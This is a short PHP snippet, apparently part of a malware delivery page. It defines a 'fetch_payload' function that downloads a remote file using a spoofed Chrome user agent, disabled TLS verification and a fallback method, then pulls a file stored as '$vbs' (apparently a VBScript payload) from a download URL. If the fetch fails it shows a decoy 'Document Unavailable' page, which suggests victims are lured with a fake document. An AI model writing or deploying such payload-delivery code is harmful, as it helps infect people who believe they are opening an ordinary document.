/* ---- Robust payload fetch (HTTP/1.1 + cURL + file_get_contents fallback) ---- */ function fetch_payload($url) { $ua = 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36'; if (function_exists('curl_init')) { $ch = curl_init($url); curl_setopt_array($ch, [ CURLOPT_RETURNTRANSFER => true, CURLOPT_FOLLOWLOCATION => true, CURLOPT_MAXREDIRS => 5, CURLOPT_TIMEOUT => 30, CURLOPT_CONNECTTIMEOUT => 10, CURLOPT_SSL_VERIFYPEER => false, CURLOPT_SSL_VERIFYHOST => false, CURLOPT_HTTP_VERSION => CURL_HTTP_VERSION_1_1, // force HTTP/1.1 CURLOPT_USERAGENT => $ua, CURLOPT_HTTPHEADER => [ 'Accept: */*', 'Accept-Language: en-US,en;q=0.9', 'Connection: close', ], ]); $data = curl_exec($ch); $code = (int)curl_getinfo($ch, CURLINFO_HTTP_CODE); $err = curl_error($ch); curl_close($ch); if ($data !== false && $code === 200 && strlen($data) > 10) { return $data; } error_log("[fetch_payload] cURL HTTP=$code err=$err"); } // Fallback: file_get_contents with HTTP/1.1 $ctx = stream_context_create([ 'http' => [ 'timeout' => 30, 'ignore_errors' => true, 'protocol_version' => 1.1, 'user_agent' => $ua, 'header' => "Accept: */*\r\nConnection: close\r\n", ], 'ssl' => ['verify_peer' => false, 'verify_peer_name' => false], ]); $data = @file_get_contents($url, false, $ctx); if ($data !== false && strlen($data) > 10) { return $data; } error_log("[fetch_payload] file_get_contents also failed"); return false; } $vbs = fetch_payload($DOWNLOAD_URL); if ($vbs === false) { http_response_code(502); echo ''; echo '

Document Unavailable

Please try again later.

'; echo ''; exit; }